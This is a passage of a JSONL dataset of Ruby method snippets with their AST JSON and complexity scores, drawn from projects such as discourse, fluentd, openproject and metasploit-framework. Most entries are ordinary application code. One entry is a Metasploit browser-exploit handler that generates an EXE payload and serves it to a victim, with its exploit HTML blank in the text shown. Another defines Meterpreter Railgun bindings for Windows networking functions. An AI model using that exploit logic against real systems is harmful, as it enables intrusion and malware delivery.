end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapper_data_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"send\",\"children\":[null,\"lazy_page_stimulus_controller\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy_page_stimulus_controller\",{\"type\":\"str\",\"children\":[\"-page-value\"]}]},{\"type\":\"send\",\"children\":[null,\"page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy_page_stimulus_controller\",{\"type\":\"str\",\"children\":[\"-url-value\"]}]},{\"type\":\"send\",\"children\":[null,\"page_streams_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy_page_stimulus_controller\",{\"type\":\"str\",\"children\":[\"-is-loaded-value\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"4b25cf28-bfdb-4b9b-9322-7f22d8ff9aab"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":407,"raw_source":"def detach_process(&block)\n log.warn \"detach_process is not supported in this version. ignored.\"\n block.call\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"detach_process\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\"]},\"warn\",{\"type\":\"str\",\"children\":[\"detach_process is not supported in this version. ignored.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\"]}]}]}","id":"160533d2-79ef-429b-a125-e04bd7993409"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_alerter.rb","start_line":795,"raw_source":"def notify_non_pm_users(users, type, post, opts = {})\n return [] if post.topic&.private_message?\n\n notify_users(users, type, post, opts)\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_non_pm_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"post\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic\"]},\"private_message?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"notify_users\",{\"type\":\"lvar\",\"children\":[\"users\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"a21f708b-d559-4b61-9810-db31e5ad29c6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/aol_icq_downloadagent.rb","start_line":62,"raw_source":"def on_request_uri(cli, request)\n payload_url = \"http://\"\n payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']\n payload_url += \":\" + datastore['SRVPORT'].to_s + get_resource() + \"/PAYLOAD\"\n\n if (request.uri.match(/PAYLOAD/))\n return if ((p = regenerate_payload(cli)) == nil)\n\n data = generate_payload_exe({ :code => p.encoded })\n print_status(\"Sending EXE payload\")\n send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })\n return\n end\n\n vname = rand_text_alpha(rand(100) + 1)\n exe = rand_text_alpha_upper(rand(5) + 1)\n\n content = %Q|\n \n \n \n \n \n |\n\n print_status(\"Sending exploit...\")\n\n send_response_html(cli, content)\n\n handler(cli)\n end","complexity_score":57.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\",{\"type\":\"str\",\"children\":[\"http://\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_url\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_s\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"get_resource\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/PAYLOAD\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"uri\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending EXE payload\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"exe\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending exploit...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"d4d54909-9514-4389-b2f3-c5eb2d2ff281"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/ldap_auth_sources/row_component.rb","start_line":56,"raw_source":"def test_link\n link_to t(:button_test), { controller: \"ldap_auth_sources\", action: \"test_connection\", id: model }\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"button_test\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"ldap_auth_sources\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"test_connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"model\"]}]}]}]}]}","id":"8179905b-984a-43fe-80e8-2a4a1c4a735c"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backuper.rb","start_line":126,"raw_source":"def update_metadata\n log \"Updating metadata...\"\n BackupMetadata.delete_all\n BackupMetadata.create!(name: \"base_url\", value: Discourse.base_url)\n BackupMetadata.create!(name: \"cdn_url\", value: Discourse.asset_host)\n BackupMetadata.create!(\n name: \"s3_base_url\",\n value: SiteSetting.Upload.enable_s3_uploads ? SiteSetting.Upload.s3_base_url : nil,\n )\n BackupMetadata.create!(\n name: \"s3_cdn_url\",\n value: SiteSetting.Upload.enable_s3_uploads ? SiteSetting.Upload.s3_cdn_url : nil,\n )\n BackupMetadata.create!(\n name: \"db_name\",\n value: RailsMultisite::ConnectionManagement.current_db,\n )\n BackupMetadata.create!(name: \"multisite\", value: Rails.configuration.multisite)\n end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"Updating metadata...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"delete_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"base_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"cdn_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"asset_host\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"s3_base_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"enable_s3_uploads\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"s3_base_url\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"s3_cdn_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"enable_s3_uploads\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"Upload\"]},\"s3_cdn_url\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"db_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupMetadata\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"multisite\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"multisite\"]}]}]}]}]}]}","id":"583784d3-e6d1-4807-98b1-be6d119aaeeb"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_iphlpapi.rb","start_line":12,"raw_source":"def self.create_library(constant_manager, library_path = 'iphlpapi')\n dll = Library.new(library_path, constant_manager)\n\n dll.add_function('CancelIPChangeNotify', 'BOOL',[\n [\"PBLOB\",\"notifyOverlapped\",\"in\"],\n ])\n\n dll.add_function('CreateProxyArpEntry', 'DWORD',[\n [\"DWORD\",\"dwAddress\",\"in\"],\n [\"DWORD\",\"dwMask\",\"in\"],\n [\"DWORD\",\"dwIfIndex\",\"in\"],\n ])\n\n dll.add_function('DeleteIPAddress', 'DWORD',[\n [\"DWORD\",\"NTEContext\",\"in\"],\n ])\n\n dll.add_function('DeleteProxyArpEntry', 'DWORD',[\n [\"DWORD\",\"dwAddress\",\"in\"],\n [\"DWORD\",\"dwMask\",\"in\"],\n [\"DWORD\",\"dwIfIndex\",\"in\"],\n ])\n\n dll.add_function('FlushIpNetTable', 'DWORD',[\n [\"DWORD\",\"dwIfIndex\",\"in\"],\n ])\n\n dll.add_function('GetAdapterIndex', 'DWORD',[\n [\"PWCHAR\",\"AdapterName\",\"in\"],\n [\"PDWORD\",\"IfIndex\",\"inout\"],\n ])\n\n dll.add_function('GetBestInterface', 'DWORD',[\n [\"DWORD\",\"dwDestAddr\",\"in\"],\n [\"PDWORD\",\"pdwBestIfIndex\",\"out\"],\n ])\n\n dll.add_function('GetBestInterfaceEx', 'DWORD',[\n [\"PBLOB\",\"pDestAddr\",\"in\"],\n [\"PDWORD\",\"pdwBestIfIndex\",\"out\"],\n ])\n\n dll.add_function('GetFriendlyIfIndex', 'DWORD',[\n [\"DWORD\",\"IfIndex\",\"in\"],\n ])\n\n dll.add_function('GetNumberOfInterfaces', 'DWORD',[\n [\"PDWORD\",\"pdwNumIf\",\"out\"],\n ])\n\n dll.add_function('GetRTTAndHopCount', 'BOOL',[\n [\"DWORD\",\"DestIpAddress\",\"in\"],\n [\"PULONG\",\"HopCount\",\"out\"],\n [\"DWORD\",\"MaxHops\",\"in\"],\n [\"PULONG\",\"RTT\",\"out\"],\n ])\n\n dll.add_function('NotifyAddrChange', 'DWORD',[\n [\"PHANDLE\",\"Handle\",\"inout\"],\n [\"PBLOB\",\"overlapped\",\"in\"],\n ])\n\n dll.add_function('NotifyRouteChange', 'DWORD',[\n [\"PHANDLE\",\"Handle\",\"inout\"],\n [\"PBLOB\",\"overlapped\",\"in\"],\n ])\n\n dll.add_function('SendARP', 'DWORD',[\n [\"DWORD\",\"DestIP\",\"in\"],\n [\"DWORD\",\"SrcIP\",\"in\"],\n [\"PBLOB\",\"pMacAddr\",\"out\"],\n [\"PDWORD\",\"PhyAddrLen\",\"inout\"],\n ])\n\n dll.add_function('SetIpTTL', 'DWORD',[\n [\"DWORD\",\"nTTL\",\"in\"],\n ])\n\n return dll\n end","complexity_score":18.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_library\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constant_manager\"]},{\"type\":\"optarg\",\"children\":[\"library_path\",{\"type\":\"str\",\"children\":[\"iphlpapi\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dll\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Library\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"library_path\"]},{\"type\":\"lvar\",\"children\":[\"constant_manager\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"CancelIPChangeNotify\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"notifyOverlapped\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"CreateProxyArpEntry\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwAddress\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwMask\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwIfIndex\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"DeleteIPAddress\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"NTEContext\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"DeleteProxyArpEntry\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwAddress\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwMask\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwIfIndex\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"FlushIpNetTable\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwIfIndex\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetAdapterIndex\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PWCHAR\"]},{\"type\":\"str\",\"children\":[\"AdapterName\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"IfIndex\"]},{\"type\":\"str\",\"children\":[\"inout\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetBestInterface\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"dwDestAddr\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pdwBestIfIndex\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetBestInterfaceEx\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pDestAddr\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pdwBestIfIndex\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetFriendlyIfIndex\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"IfIndex\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetNumberOfInterfaces\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"pdwNumIf\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"GetRTTAndHopCount\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"DestIpAddress\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PULONG\"]},{\"type\":\"str\",\"children\":[\"HopCount\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"MaxHops\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PULONG\"]},{\"type\":\"str\",\"children\":[\"RTT\"]},{\"type\":\"str\",\"children\":[\"out\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"NotifyAddrChange\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHANDLE\"]},{\"type\":\"str\",\"children\":[\"Handle\"]},{\"type\":\"str\",\"children\":[\"inout\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"overlapped\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"NotifyRouteChange\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHANDLE\"]},{\"type\":\"str\",\"children\":[\"Handle\"]},{\"type\":\"str\",\"children\":[\"inout\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"overlapped\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"SendARP\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"DestIP\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"SrcIP\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pMacAddr\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"PhyAddrLen\"]},{\"type\":\"str\",\"children\":[\"inout\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"SetIpTTL\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"nTTL\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]}]}]}]}","id":"331d91a0-b086-43ec-8928-206ef93c1f6d"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/xenforo.rb","start_line":181,"raw_source":"def import_categories_from_thread_prefixes\n puts \"\", \"importing categories...\"\n\n categories =\n mysql_query(\n \"\n SELECT prefix_id id\n FROM #{TABLE_PREFIX}thread_prefix\n ORDER BY prefix_id ASC\n \",\n ).to_a\n\n create_categories(categories) do |category|\n { id: category[\"id\"], name: \"Category-#{category[\"id\"]}\" }\n end\n\n @prefix_as_category = true\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"import_categories_from_thread_prefixes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing categories...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT 